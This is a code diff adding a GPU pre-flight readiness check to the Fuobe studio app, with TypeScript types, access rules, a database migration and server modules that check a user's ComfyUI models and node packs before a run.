+export type Presence = "loader" | "list" | "unobservable";
+
+/** workflows/comfyui/requirements.json (scripts/comfy/build-requirements.mjs). */
+export interface RequirementIndex {
+ v: 1;
+ /** sha256 of the content without this field: the ETag, and what a cached report was built with. */
+ hash: string;
+ comfyui: { min: string; testedCommit: string };
+ /** Every models/<folder> a workflow needs. */
+ folders: string[];
+ /** The classes a full check reads one by one when GET /object_info is too big or too slow. */
+ sentinels: string[];
+ packs: Record<string, IndexPack>;
+ files: Record<FileKey, IndexFile>;
+ workflows: Record<string, IndexWorkflow>;
+}
+
+export interface IndexPack {
+ repo: string;
+ commit: string;
+ /** Comfy Registry id; `version` is set only once the validator ran on that exact release (empty until then: manual). */
+ registry?: { id: string; version: string };
+ /** The node classes the library uses from it. */
+ classes: string[];
+ /** Model folders the pack registers when it loads (mmaudio, insightface…). */
+ folders: string[];
+ /** Runs on the isolated worker (a second ComfyUI). */
+ isolated: boolean;
+ /** A pack that lives in a subfolder of its repo (h3_character_swap). */
+ subdir?: string;
+ requirementsTxt: boolean;
+ install: "registry" | "manual";
+}
+
+export interface IndexFile {
+ folder: string;
+ file: string;
+ url: string;
+ /** The URL pinned to the revision the index recorded (resolve/<sha>/…), or `url` when no pin is known yet. */
+ pinnedUrl: string;
+ sizeBytes: number;
+ sha256?: string;
+ /** A licence to accept on Hugging Face, and a token, before it downloads. */
+ gated: boolean;
+ /** The pack that registers this file's folder. */
+ packFolder?: string;
+ presence: Presence;
+ /** [class_type, input] of the loader nodes that pick this file (presence "loader"). */
+ loaders?: [cls: string, input: string][];
+}
+
+export interface IndexWorkflow {
+ /** Core node classes. */
+ core: string[];
+ /** Pack name → the pack's classes this workflow uses. */
+ packs: Record<string, string[]>;
+ /** Files the defaults need. */
+ files: FileKey[];
+ /** Alternatives a control can pick (not needed for the defaults). */
+ optional: FileKey[];
+ vramGb: number;
+ isolated: boolean;
+ /** Weights a pack downloads itself on the first run (free text from the manifest). */
+ firstRun: string[];
+ validated: boolean;
+}
+
+// ---------------------------------------------------------------------------
+// Inventory: what the viewer's ComfyUI has (only what the index asks about, R9)
+
+export type GpuProblem = "unreachable" | "auth" | "not-comfy" | "timeout" | "cors-off" | "lna-blocked" | "redirect";
+
+export interface ComfyFlags {
+ listen: string | null;
+ loopbackOnly: boolean;
+ corsOrigin: string | null;
+ enableManager: boolean;
+ managerLegacyUi: boolean;
+ lowvram: boolean;
+ cpuOnly: boolean;
+}
+
+export interface GpuDevice {
+ name: string;
+ type: string;
+ index: number;
+ vramTotal: number;
+ vramFree: number;
+}
+
+export type ManagerApi = "v4" | "v3" | "none" | "unknown";
+
+export interface GpuInventory {
+ v: 1;
+ via: "server" | "browser";
+ checkedAt: number;
+ tookMs: number;
+ reachable: boolean;
+ problem?: GpuProblem;
+ /** A short reason, in plain text (never shown as HTML). */
+ problemDetail?: string;
+ comfy?: {
+ version: string;
+ os: string;
+ python?: string;
+ torch?: string;
+ embeddedPython: boolean;
+ deployEnv: string;
+ flags: ComfyFlags;
+ /** folder → absolute paths (GET /experiment/models), for exact commands. */
+ modelRoots?: Record<string, string[]>;
+ apiPrefix?: "" | "/api";
+ };
+ devices: GpuDevice[];
+ ram?: { total: number; free: number };
+ manager: { api: ManagerApi; version?: string; legacyUi?: boolean; csrfPost?: boolean; busy?: boolean };
+ /**
+ * Index classes that are loaded, and those confirmed missing. A class in neither was not read (a per-class
+ * check reads only some): it counts as there, so an unread class never blocks (R11).
+ */
+ nodes: { have: string[]; missing: string[]; total: number; readAt: number; how: "object_info" | "per-class" };
+ /** "Class.input" → the index base names that loader lists (presence "loader"). */
+ combos: Record<string, string[]>;
+ /** Index pack name → what ComfyUI-Manager lists for it. */
+ packs: Record<string, { dir: string; version?: string; enabled: boolean; importError?: string }>;
+ /** folder → index base name → bytes (null: size unknown). */
+ models: Record<string, { have: Record<string, number | null>; total: number; folderMissing?: boolean }>;
+ /** Index LoRA base names that are present. */
+ loras: Record<string, number | null>;
+ /** sha256 of argv, devices, RAM and model roots (an owner-GPU heuristic, never a boundary). */
+ fingerprint: string;
+ /** Steps that failed: a partial inventory still counts. */
+ errors: { step: string; message: string }[];
+ /** The studio's own ComfyUI answered an anonymous request from the internet (install target only). */
+ exposed?: boolean;
+}
+
+/** One line of the live checklist. */
+export interface CheckLine {
+ step: "found" | "gpu" | "models" | "addons" | "manager" | "match";
+ state: "running" | "done" | "warn" | "fail";
+ text: string;
+ /** Plain-text detail shown under "Details". */
+ detail?: string;
+}
+
+// ---------------------------------------------------------------------------
+// Readiness: what can run
+
+export type Readiness = "ready" | "almost" | "setup" | "gpu" | "unsupported" | "unknown";
+export type VramFit = "any" | "fits" | "tight" | "no";
+
+export type StepKind =
+ | "manager-enable"
+ | "manager-config"
+ | "comfy-update"
+ | "core-missing"
+ | "pack-install"
+ | "pack-update"
+ | "pack-repair"
+ | "restart"
+ | "hf-licence"
+ | "civitai-key"
+ | "model"
+ | "model-replace"
+ | "lora"
+ | "isolated-worker";
+
+export interface Need {
+ /** pack:<name> | file:<folder/file> | lora:<file> | core | restart | … (deduplicated across workflows). */
+ key: string;
+ kind: StepKind;
+ label: string;
+ /** Plain text: file names, folders, classes. */
+ detail: string;
+ sizeBytes?: number;
+ pack?: string;
+ file?: FileKey;
+ lora?: string;
+ /** The node classes it is about (missing core classes). */
+ classes?: string[];
+ /** Text read from the viewer's ComfyUI (a traceback): shown as plain text only. */
+ remote?: string;
+}
+
+/** A tool: a model's operation, a preset, a studio's open default, one workflow. */
+export type ToolRef = `model:${string}#${string}` | `preset:${string}` | `studio:${string}` | `workflow:${string}`;
+
+export interface ToolReadiness {
+ ref: ToolRef;
+ name: string;
+ state: Readiness;
+ needs: Need[];
+ have: Need[];
+ downloadBytes: number;
+ vram: { needGb: number; haveGb?: number; fit: VramFit; apple?: boolean };
+ firstRun: string[];
+ unvalidated: boolean;
+ /** Files Fuobe can't see on this ComfyUI (they never block). */
+ unobservable: string[];
+ /** The same tool on the cloud engine (never offered to accounts). */
+ cloud?: { modelId: string };
+ /** Why it is unsupported (isolated workflows on an account's GPU). */
+ reason?: string;
+}
+
+export interface InventorySummary {
+ gpu?: string;
+ vramGb?: number;
+ ramGb?: number;
+ comfyVersion?: string;
+ manager: string;
+ packs: { have: number; of: number };
+ files: { have: number; of: number; bytes: number };
+}
+
+export type StudioGroup = "Images" | "Video" | "Audio" | "Video tools";
+
+export interface StudioRow {
+ href: string;
+ label: string;
+ group: StudioGroup;
+ tool: ToolReadiness;
+ /** That studio's other open models that are ready or one step away. */
+ others: { ref: ToolRef; name: string; state: Readiness }[];
+}
+
+export interface ReadinessReport {
+ indexHash: string;
+ checkedAt: number;
+ summary: InventorySummary;
+ studios: StudioRow[];
+ /** Plain-text warnings for the board (the studio's own ComfyUI open to the internet…). */
+ warnings: string[];
+}
+
+/** [state, steps, download size in tenths of a GB, flags]; flags: 1 tight, 2 first-run download, 4 runs on any computer. */
+export type Badge = [state: "r" | "a" | "s" | "g" | "u", steps: number, gbTenths: number, flags: number];
+
+export interface BadgeMap {
+ connected: boolean;
+ /** The pre-flight is switched off on this install (FUOBE_GPU_PREFLIGHT=0). */
+ off?: boolean;
+ checkedAt?: number;
+ gpu?: string;
+ vramGb?: number;
+ /** "<modelId>#<op>" → badge, for open models. A missing key means no chip. */
+ models: Record<string, Badge>;
+ presets: Record<string, Badge>;
+}
+
+// ---------------------------------------------------------------------------
+// Fix plans (P1: manual commands only)
+
+export type WhyCode =
+ | "no-manager"
+ | "manager-strict"
+ | "listen-all"
+ | "no-validated-version"
+ | "subfolder-pack"
+ | "gated"
+ | "civitai-key"
+ | "manager-v3-model-list"
+ | "no-delete-api"
+ | "core-update"
+ | "core-missing"
+ | "isolated"
+ | "account-isolated"
+ | "owner-gpu"
+ | "installs-off"
+ | "over-cap"
+ | "manual-only";
+
+export interface FixStep extends Need {
+ id: string;
+ via: "manager" | "helper" | "manual";
+ why?: WhyCode;
+ commands: { bash: string; powershell: string };
+ /** A page to open first (a gated model's Hugging Face page, a LoRA's civitai page). */
+ link?: string;
+}
+
+export interface FixPlan {
+ ref: ToolRef;
+ name: string;
+ state: Readiness;
+ steps: FixStep[];
+ have: Need[];
+ downloadBytes: number;
+ etaMin: [number, number];
+ restart: boolean;
+ oneClick: "all" | "some" | "none";
+ /** Why it can't be done in one click (P1: always manual). */
+ why: WhyCode;
+ planHash: string;
+ commands: { bash: string; powershell: string };
+ vram: ToolReadiness["vram"];
+ firstRun: string[];
+ unobservable: string[];
+ alternatives: { cloud?: { modelId: string }; fits?: { ref: ToolRef; name: string; state: Readiness }[] };
+ /** The viewer's GPU, for the copy ("Your RTX 4070 has 12 GB"). */
+ gpu?: string;
+ /** ComfyUI's OS ("nt", "posix"): which command tab comes first. */
+ os?: string;
+}
diff --git a/src/lib/guest-access.ts b/src/lib/guest-access.ts
index 05d9aa00..21b360a4 100644
--- a/src/lib/guest-access.ts
+++ b/src/lib/guest-access.ts
@@ -21,7 +21,7 @@ export const GUEST_LIBRARY_MESSAGE = "Sign up to see your library.";
export const GUEST_RUN_MESSAGE = "Create a free account to run this.";
/** Catalog and status reads that hold nothing of the owner's library: a guest gets the real answer. */
-const GUEST_READS = new Set(["/api/status", "/api/models", "/api/search-index", "/api/comfyui", "/api/settings/models"]);
+const GUEST_READS = new Set(["/api/status", "/api/models", "/api/search-index", "/api/comfyui", "/api/settings/models", "/api/gpu/requirements"]);
/** Catalogs mixed with the owner's own items: the route leaves the owner's part out for a guest (GUEST_HEADER). */
const GUEST_FILTERED = new Set(["/api/moodboards", "/api/palettes", "/api/assist/skills"]);
@@ -59,6 +59,9 @@ const EMPTY: Record<string, unknown> = {
"/api/photodump": { packs: [] },
"/api/photodump/packs": { packs: [] },
"/api/generations/facets": { models: [], kinds: {}, total: 0, favorites: 0, failed: 0, trash: 0, pinned: 0, steps: 0, reviews: {} },
+ // GPU pre-flight: a guest has no GPU (Connect your GPU), so no board and no chips.
+ "/api/gpu/readiness": { connected: false, reason: "guest" },
+ "/api/gpu/badges": { connected: false, models: {}, presets: {} },
};
export type GuestRead =
@@ -148,13 +151,18 @@ export function accountGeneration(method: string, pathname: string): string | un
* the list of its runs, a stored file (the proxy checks whose it is), its GPU.
*/
export function accountOwnRead(pathname: string): boolean {
- return pathname === "/api/generations" || pathname === "/api/account/gpu";
+ return pathname === "/api/generations" || pathname === "/api/account/gpu" || GPU_READS.has(pathname);
}
-/** A change an account may send: signing out, its own GPU, and price checks (reads go by guestRead, as a guest's). */
+/** GPU pre-flight reads: each answers for the account's own GPU only (src/server/gpu/target.ts). */
+const GPU_READS = new Set(["/api/gpu/readiness", "/api/gpu/badges", "/api/gpu/plan"]);
+
+/** A change an account may send: signing out, its own GPU and its check, and price checks (reads go by guestRead, as a guest's). */
export function accountMayChange(method: string, pathname: string, search: string): boolean {
if (method === "POST" && pathname === "/api/auth/logout") return true;
if ((method === "PUT" || method === "DELETE") && pathname === "/api/account/gpu") return true;
+ // GPU pre-flight: checking its own ComfyUI (reads only; the routes check the target and the request themselves).
+ if ((method === "POST" && pathname === "/api/gpu/check") || (method === "PUT" && pathname === "/api/gpu/inventory")) return true;
return isPriceCheck(method, pathname, search);
}
diff --git a/src/lib/licences.ts b/src/lib/licences.ts
index 58345042..345468a9 100644
--- a/src/lib/licences.ts
+++ b/src/lib/licences.ts
@@ -414,7 +414,6 @@ export const NODE_PACKS: NodePack[] = [
pack("ComfyUI-WanVideoWrapper", "https://github.com/kijai/ComfyUI-WanVideoWrapper", { name: "Apache-2.0", class: "commercial", url: SPDX("Apache-2.0"), note: "Code Apache-2.0; the Wan weights it loads are Apache-2.0" }),
pack("ComfyUI-VideoHelperSuite", "https://github.com/Kosinkadink/ComfyUI-VideoHelperSuite", { ...GPL, note: "Video loading and saving; GPL-3.0 code, like ComfyUI" }),
pack("ComfyUI-KJNodes", "https://github.com/kijai/ComfyUI-KJNodes", { ...GPL, note: "Utility nodes (GrowMaskWithBlur, resizing); GPL-3.0 code, like ComfyUI" }),
- pack("ComfyUI-SeedVR2_VideoUpscaler", "https://github.com/numz/ComfyUI-SeedVR2_VideoUpscaler", { name: "Apache-2.0", class: "commercial", url: SPDX("Apache-2.0"), note: "SeedVR2 upscaling; code and weights Apache-2.0" }),
pack("ComfyUI-Frame-Interpolation", "https://github.com/Fannovel16/ComfyUI-Frame-Interpolation", { name: "MIT", class: "commercial", url: SPDX("MIT"), note: "RIFE and FILM frame interpolation; MIT code" }),
pack("ComfyUI-RMBG", "https://github.com/1038lab/ComfyUI-RMBG", { ...GPL, note: "Background removal; GPL-3.0 code. Fuobe uses BEN2 (MIT); RMBG-2.0 in the same pack is CC BY-NC 4.0" }),
pack("ComfyUI-ReActor", "https://github.com/Gourieff/ComfyUI-ReActor", { name: "MIT (per the research)", class: "commercial", note: "Face swap node; the inswapper_128 weights it loads are for non-commercial research only" }),
diff --git a/src/server/account-gpu.ts b/src/server/account-gpu.ts
index 52fe550f..8f0432ad 100644
--- a/src/server/account-gpu.ts
+++ b/src/server/account-gpu.ts
@@ -4,7 +4,7 @@ import net from "node:net";
import { accountGpu, type Account, type AccountGpu } from "./auth";
import { PROVIDERS } from "./providers";
import { fetchPublic, isPrivateAddress } from "./remote-fetch";
-import { getSetting } from "./settings";
+import { isInstallHost, REFUSED_ADDRESS } from "./gpu/hosts";
/**
* "Your GPU" (public sign-up): the ComfyUI an account connects, where its runs go. The server calls
@@ -49,14 +49,9 @@ export async function checkGpuAddress(raw: string, o: { resolve?: (host: string)
if (addrs.some(isPrivateAddress)) throw new GpuError(LOCAL_GPU_MESSAGE);
}
const url = normal(u);
- const same = (setting: string) => {
- try {
- return !!setting && normal(new URL(setting)).toLowerCase() === url.toLowerCase();
- } catch {
- return false;
- }
- };
- if (same(getSetting("comfyUrl")) || same(getSetting("comfyIsolatedUrl"))) throw new GpuError("That's this studio's own ComfyUI. Connect yours.");
+ // The install's own ComfyUI on any scheme, port or path (ComfyUI answers every route under /api too), compared by
+ // host. One message for every such refusal, so it never confirms a guessed address.
+ if (isInstallHost(url)) throw new GpuError(REFUSED_ADDRESS);
return url;
}
diff --git a/src/server/db.ts b/src/server/db.ts
index 95c2a105..515deb2c 100644
--- a/src/server/db.ts
+++ b/src/server/db.ts
@@ -5,7 +5,7 @@ import path from "node:path";
export const DATA_DIR = path.resolve(/*turbopackIgnore: true*/ process.env.FUOBE_DATA_DIR ?? path.join(process.cwd(), "data"));
-const MIGRATIONS: string[] = [
+export const MIGRATIONS: string[] = [
`CREATE TABLE IF NOT EXISTS generations (
id TEXT PRIMARY KEY,
batch_id TEXT,
@@ -564,6 +564,35 @@ const MIGRATIONS: string[] = [
UPDATE ad_batches SET route = 'baked' WHERE route = 'higgsfield';
UPDATE ad_creatives SET meta_json = json_set(meta_json, '$.route', 'baked')
WHERE json_valid(meta_json) AND json_extract(meta_json, '$.route') = 'higgsfield';`,
+ // GPU pre-flight (src/server/gpu): what a viewer's ComfyUI had at its last check, per target ('install', or
+ // 'acct:<id>' for an account's own GPU) and per way it was read (a browser's facts never stand in for a server
+ // check), only the facts the requirement index asks about; and an audit of every check. `fix_json` on a failed
+ // run: what it was missing ({code, workflowId, items}), so its tile offers "Fix it".
+ `CREATE TABLE IF NOT EXISTS gpu_snapshots (
+ target_key TEXT NOT NULL,
+ via TEXT NOT NULL,
+ url_hash TEXT NOT NULL,
+ checked_at INTEGER NOT NULL,
+ index_hash TEXT NOT NULL,
+ inventory_json TEXT NOT NULL,
+ report_json TEXT,
+ stale INTEGER NOT NULL DEFAULT 0,
+ PRIMARY KEY (target_key, via)
+ );
+ CREATE TABLE IF NOT EXISTS gpu_audit (
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
+ at INTEGER NOT NULL,
+ actor TEXT NOT NULL,
+ target_key TEXT NOT NULL,
+ host TEXT NOT NULL,
+ action TEXT NOT NULL,
+ item TEXT,
+ job_id TEXT,
+ result TEXT NOT NULL,
+ detail TEXT
+ );
+ CREATE INDEX IF NOT EXISTS gpu_audit_target ON gpu_audit(target_key, at DESC);
+ ALTER TABLE generations ADD COLUMN fix_json TEXT;`,
];
declare global {
diff --git a/src/server/generations.ts b/src/server/generations.ts
index d5131f72..dc5b923b 100644
--- a/src/server/generations.ts
+++ b/src/server/generations.ts
@@ -31,6 +31,7 @@ import {
type ChainSlot,
type Engine,
type Generation,
+ type GenerationFix,
type GenerationRequest,
type MediaKind,
type GenInput,
@@ -44,6 +45,7 @@ import {
} from "@/lib/catalog/types";
import { db } from "./db";
import { listElements } from "./elements";
+import { markStale } from "./gpu/snapshots";
import { pollTrainings } from "./training";
import { createExtendChain, createKeyframeFilm, createMosaicRun, createRelitClip, createShotFilm, createStillTo3d } from "./chains";
import { enhancePrompt, enhanceSoulWords } from "./enhance";
@@ -97,6 +99,8 @@ interface Row {
/** Joined by the library readers (generation_trash, folder_items); looked up when absent. */
deleted_at?: number | null;
folder_id?: string | null;
+ /** What a failed ComfyUI run was missing (GenerationFix as JSON). */
+ fix_json?: string | null;
}
/** Trash and folder columns, joined onto every library read. */
@@ -147,9 +151,19 @@ export function toGeneration(r: Row): Generation {
folderId: lib.folder_id ?? null,
pinnedAt: r.pinned_at ?? null,
review: isReviewStatus(r.review) ? r.review : null,
+ ...(r.status === "failed" && r.fix_json && { fix: parseFix(r.fix_json) }),
};
}
+function parseFix(json: string): GenerationFix | null {
+ try {
+ const f = JSON.parse(json) as GenerationFix;
+ return f && typeof f.code === "string" && Array.isArray(f.items) ? f : null;
+ } catch {
+ return null;
+ }
+}
+
function update(id: string, fields: Partial<Row>): void {
const keys = Object.keys(fields);
if (!keys.length) return;
@@ -344,6 +358,9 @@ export const ASSET_REFS: AssetRef[] = [
*/
export const ASSET_FREE: Record<string, string> = {
"generations.provider_input_json": "what a provider was sent: its own upload URLs or file names, never ours",
+ "generations.fix_json": "what a failed ComfyUI run was missing: model file names, node classes and packs",
+ "gpu_snapshots.inventory_json": "what a GPU's ComfyUI has (class names, model file names and sizes), never a Fuobe file",
+ "gpu_snapshots.report_json": "readiness built from that inventory",
"generations.external_meta_json": "the provider's job handles",
"shorts_sessions.range_json": "start and end times",
"shorts_sessions.settings_json": "ratio, language, model and resolution",
@@ -1320,8 +1337,11 @@ async function submitNow(
recordSubmission(id, now);
})();
} catch (e) {
- // A cancel during the hand-over stays a cancel.
- if (statusOf(id) !== "canceled") update(id, { status: "failed", error: (e as Error).message, completed_at: Date.now(), message: null });
+ // A cancel during the hand-over stays a cancel. What the GPU was missing (a model, a node class) is kept, so the
+ // tile offers "Fix it", and the account's GPU check counts as stale.
+ const fix = (e as { fix?: GenerationFix }).fix;
+ if (statusOf(id) !== "canceled") update(id, { status: "failed", error: (e as Error).message, completed_at: Date.now(), message: null, ...(fix && { fix_json: JSON.stringify(fix) }) });
+ if (fix) markStale(req.account ? `acct:${req.account}` : "install");
} finally {
submitting().delete(id);
}
diff --git a/src/server/gpu/gate.ts b/src/server/gpu/gate.ts
new file mode 100644
index 00000000..4cf995b1
--- /dev/null
+++ b/src/server/gpu/gate.ts
@@ -0,0 +1,93 @@
+import "server-only";
+import crypto from "node:crypto";
+import { resolveWorkflowId } from "@/lib/comfy-variants";
+import { fixPlan } from "@/lib/gpu/plan";
+import { deviceLabel, needTargets, toolReadiness } from "@/lib/gpu/readiness";
+import type { FixPlan, ToolReadiness, ToolRef } from "@/lib/gpu/types";
+import type { GenerationRequest } from "@/lib/catalog/types";
+import { authEnabled, crossSite, hostAllowed, validToken } from "../auth";
+import { loadIndex, preflightOn } from "./index-file";
+import { contextFor } from "./readiness-service";
+import { probe, readSnapshot } from "./snapshots";
+import { presetTool, modelTool } from "./tools";
+import { urlHash, type GpuTarget } from "./target";
+
+/**
+ * The check before a run (SPEC §13.1, review 9c): a ComfyUI run that is sure to fail for something missing is
+ * stopped before it is queued, with the plan that fixes it (409 "gpu-setup"). It never blocks when the check is
+ * unknown or failed (R11), when only graphics memory is short (R7), or when the request says gpuCheck "skip".
+ * It blocks only on what a live read just confirmed, and in P1 only for accounts: the owner gets a warning.
+ */
+
+export const GPU_SETUP_HEADER = "x-fuobe-gpu-setup";
+
+export interface GateInput {
+ request: GenerationRequest;
+ route: { provider: string; endpoint: string };
+ op: string;
+ modelId: string;
+ skip?: boolean;
+ actor: string;
+}
+
+export type GateResult = { ok: true; warning?: string } | { ok: false; ref: ToolRef; plan: FixPlan; message: string };
+
+const sha256 = (s: string) => crypto.createHash("sha256").update(s).digest("hex");
+
+/** Needs that stop a run (a licence comes with its download; VRAM is never a need). */
+const blocks = (r: ToolReadiness) => r.state === "unsupported" || r.needs.some((n) => n.kind !== "hf-licence");
+
+export async function gateGeneration(t: GpuTarget, g: GateInput): Promise<GateResult> {
+ if (!preflightOn() || g.skip || g.route.provider !== "comfyui" || t.kind === "none") return { ok: true };
+ const idx = loadIndex();
+ const req = g.request;
+ const has = (id: string) => !!idx.workflows[id];
+ const id = resolveWorkflowId(g.route.endpoint, {
+ op: g.op,
+ clips: req.inputs?.videos?.length ?? 0,
+ images: req.inputs?.images?.length ?? 0,
+ format: req.params?.format,
+ audio2: !!req.inputs?.audio2 || !!req.params?.extra?.audio2,
+ extra: req.params?.extra ?? {},
+ has,
+ });
+ if (!has(id)) return { ok: true };
+ const preset = req.presetId ? presetTool(req.presetId) : null;
+ const model = modelTool(g.modelId, g.op);
+ const ref: ToolRef = preset?.ref ?? model?.ref ?? `workflow:${id}`;
+ const name = preset?.name ?? model?.name ?? id;
+ const loras = preset?.loras ?? model?.loras ?? [];
+ const ctx = { ...contextFor(t), kind: model?.kind };
+ let snap = readSnapshot(t);
+ if (!snap?.inventory.reachable) return { ok: true };
+ let r = toolReadiness(ref, name, [id], loras, snap.inventory, idx, ctx, model?.cloud);
+ if (!blocks(r)) return { ok: true };
+ // Confirm with a live read of just these classes and folders, unless the snapshot is from the last 10 s.
+ if (Date.now() - snap.checkedAt > 10_000 && r.state !== "unsupported") {
+ const fresh = await probe(t, { actor: g.actor, ...needTargets(r.needs, idx), loraNames: loras.map((l) => l.file) }).catch(() => null);
+ if (!fresh?.reachable) return { ok: true };
+ snap = readSnapshot(t);
+ if (!snap?.inventory.reachable) return { ok: true };
+ r = toolReadiness(ref, name, [id], loras, snap.inventory, idx, ctx, model?.cloud);
+ if (!blocks(r)) return { ok: true };
+ }
+ const dev = snap.inventory.devices[0];
+ const plan = fixPlan(r, snap.inventory, idx, { hash: sha256, urlHash: urlHash(t), account: t.kind === "account", loras, gpu: dev ? deviceLabel(dev.name) : undefined });
+ const what = r.state === "unsupported" ? "needs a second ComfyUI" : `needs ${r.needs.filter((n) => n.kind !== "hf-licence").length} more thing${r.needs.length > 1 ? "s" : ""} on your ComfyUI`;
+ if (t.kind === "install") return { ok: true, warning: `${name} ${what}. Open Connect your GPU to see them.` };
+ return { ok: false, ref, plan, message: `${name} ${what} before it can run.` };
+}
+
+/**
+ * The checks every pre-flight route that sends traffic makes (review 7): a person, in a browser, on this site.
+ * Not an API token; not another website; the browser says the request comes from this site's own page.
+ */
+export function interactiveRefusal(request: Request): string | null {
+ if (validToken(request.headers.get("authorization"))) return "API tokens can't start a GPU check. Open Fuobe in your browser.";
+ const host = request.headers.get("host") ?? new URL(request.url).host;
+ if (crossSite(request, host)) return "Blocked a request from another website.";
+ const site = request.headers.get("sec-fetch-site");
+ if (site ? site !== "same-origin" : !request.headers.get("origin")) return "Start the check from Fuobe's own page.";
+ if (!authEnabled() && !hostAllowed(host)) return "Blocked a request for an address this studio isn't reached at.";
+ return null;
+}
diff --git a/src/server/gpu/hosts.ts b/src/server/gpu/hosts.ts
new file mode 100644
index 00000000..69f1180a
--- /dev/null
+++ b/src/server/gpu/hosts.ts
@@ -0,0 +1,35 @@
+import "server-only";
+import { getSetting } from "../settings";
+
+/**
+ * Host names as compared (SPEC review 2a): lower case, no trailing dot, IDN as punycode (the URL parser does
+ * that), no IPv6 brackets. Scheme, port and path don't count: "https://comfy.example/api" and
+ * "http://comfy.example." are the same host as "https://comfy.example".
+ */
+export function hostKey(url: string): string | null {
+ try {
+ const host = new URL(url.trim()).hostname.toLowerCase().replace(/^\[|\]$/g, "").replace(/\.+$/, "");
+ return host || null;
+ } catch {
+ return null;
+ }
+}
+
+/** The hosts of this install's own ComfyUI (main and isolated worker). */
+export function installHosts(): Set<string> {
+ const out = new Set<string>();
+ for (const name of ["comfyUrl", "comfyIsolatedUrl"] as const) {
+ const h = hostKey(getSetting(name) ?? "");
+ if (h) out.add(h);
+ }
+ return out;
+}
+
+/** Is this address on the host of the install's own ComfyUI? */
+export function isInstallHost(url: string): boolean {
+ const h = hostKey(url);
+ return !!h && installHosts().has(h);
+}
+
+/** One message for every address Fuobe refuses for an account, so a refusal never confirms a guess (review 2d). */
+export const REFUSED_ADDRESS = "Fuobe can't use this address. Connect your own ComfyUI.";
diff --git a/src/server/gpu/index-file.ts b/src/server/gpu/index-file.ts
new file mode 100644
index 00000000..aa4485e2
--- /dev/null
+++ b/src/server/gpu/index-file.ts
@@ -0,0 +1,30 @@
+import "server-only";
+import fs from "node:fs";
+import path from "node:path";
+import { parseIndex } from "@/lib/gpu/requirements";
+import type { RequirementIndex } from "@/lib/gpu/types";
+
+/**
+ * The GPU pre-flight: on unless FUOBE_GPU_PREFLIGHT=0. It only reads the viewer's ComfyUI and fails open
+ * (a check that is unknown or failed never blocks a run), so it ships on.
+ */
+export const preflightOn = (): boolean => process.env.FUOBE_GPU_PREFLIGHT?.trim() !== "0";
+
+export const INDEX_FILE = path.join(process.cwd(), "workflows", "comfyui", "requirements.json");
+
+let cache: { mtime: number; index: RequirementIndex; raw: string } | null = null;
+
+/** workflows/comfyui/requirements.json (scripts/comfy/build-requirements.mjs), cached by mtime like loadManifest. */
+export function loadIndex(): RequirementIndex {
+ return loadIndexRaw().index;
+}
+
+/** The index and its file text (GET /api/gpu/requirements serves the text as it is). */
+export function loadIndexRaw(): { index: RequirementIndex; raw: string } {
+ const mtime = fs.statSync(INDEX_FILE).mtimeMs;
+ if (!cache || cache.mtime !== mtime) {
+ const raw = fs.readFileSync(INDEX_FILE, "utf8");
+ cache = { mtime, index: parseIndex(JSON.parse(raw)), raw };
+ }
+ return cache;
+}
diff --git a/src/server/gpu/readiness-service.ts b/src/server/gpu/readiness-service.ts
new file mode 100644
index 00000000..eb9fcae4
--- /dev/null
+++ b/src/server/gpu/readiness-service.ts
@@ -0,0 +1,147 @@
+import "server-only";
+import crypto from "node:crypto";
+import { problemText } from "@/lib/gpu/gather";
+import { fixPlan } from "@/lib/gpu/plan";
+import { badgeOf, deviceLabel, needTargets, rankOf, shortGpu, summaryOf, toolReadiness, type ReadinessContext } from "@/lib/gpu/readiness";
+import type { BadgeMap, FixPlan, GpuInventory, GpuProblem, ReadinessReport, RequirementIndex, StudioRow, ToolReadiness, ToolRef } from "@/lib/gpu/types";
+import { vramGb } from "@/lib/gpu/requirements";
+import { getSetting } from "../settings";
+import { loadIndex } from "./index-file";
+import { probe, readSnapshot, saveViews, checkWait, type Snapshot } from "./snapshots";
+import { STUDIO_ROWS, openModelTools, presetTools, studioOthers, studioTool, toolFor, type Tool } from "./tools";
+import { urlHash, type ServerTarget } from "./target";
+
+/**
+ * The views of a snapshot (SPEC §7.3, §10): the readiness board, the badge map, and one tool's fix plan.
+ * Built from the stored inventory and cached with it until the index changes; nothing here probes, except a
+ * plan's re-check of its own classes and folders when the snapshot is more than 60 s old.
+ */
+
+export function contextFor(t: ServerTarget): ReadinessContext {
+ return { account: t.kind === "account", isolatedUrl: t.kind === "install" && !!getSetting("comfyIsolatedUrl") };
+}
+
+export function readinessOf(tool: Tool, inv: GpuInventory, idx: RequirementIndex, ctx: ReadinessContext): ToolReadiness {
+ if (tool.local) {
+ return { ref: tool.ref, name: tool.name, state: inv.reachable ? "ready" : "unknown", needs: [], have: [], downloadBytes: 0, vram: { needGb: 0, fit: "any" }, firstRun: [], unvalidated: false, unobservable: [] };
+ }
+ return toolReadiness(tool.ref, tool.name, tool.workflows, tool.loras, inv, idx, { ...ctx, kind: tool.kind }, tool.cloud);
+}
+
+interface Views {
+ report: ReadinessReport;
+ badges: BadgeMap;
+}
+
+export function buildViews(inv: GpuInventory, idx: RequirementIndex, ctx: ReadinessContext): Views {
+ const studios: StudioRow[] = [];
+ for (const row of STUDIO_ROWS) {
+ const tool = studioTool(row);
+ if (!tool) continue;
+ const t = readinessOf(tool, inv, idx, ctx);
+ const others = studioOthers(row)
+ .map((o) => ({ ref: o.ref, name: o.name, state: readinessOf(o, inv, idx, ctx).state }))
+ .filter((o) => o.state === "ready" || o.state === "almost")
+ .sort((a, b) => rankOf(b.state) - rankOf(a.state))
+ .slice(0, 4);
+ studios.push({ href: row.href, label: row.label, group: row.group, tool: { ...t, needs: t.needs.slice(0, 12), have: [] }, others });
+ }
+ const badges: BadgeMap = { connected: true, checkedAt: inv.checkedAt, models: {}, presets: {} };
+ const summary = summaryOf(inv, idx);
+ if (summary.gpu) badges.gpu = shortGpu(summary.gpu);
+ if (summary.vramGb) badges.vramGb = summary.vramGb;
+ for (const tool of openModelTools()) {
+ const b = badgeOf(readinessOf(tool, inv, idx, ctx));
+ if (b) badges.models[tool.ref.slice("model:".length)] = b;
+ }
+ for (const tool of presetTools()) {
+ const b = badgeOf(readinessOf(tool, inv, idx, ctx));
+ if (b) badges.presets[tool.ref.slice("preset:".length)] = b;
+ }
+ const warnings: string[] = [];
+ if (inv.exposed) warnings.push("Your studio's ComfyUI answers anyone on the internet. Put it behind a token or Cloudflare Access before you share this studio.");
+ if (inv.errors.length) warnings.push(`Some checks didn't finish (${[...new Set(inv.errors.map((e) => e.step.split("/")[0]))].slice(0, 4).join(", ")}). What they would have found counts as there.`);
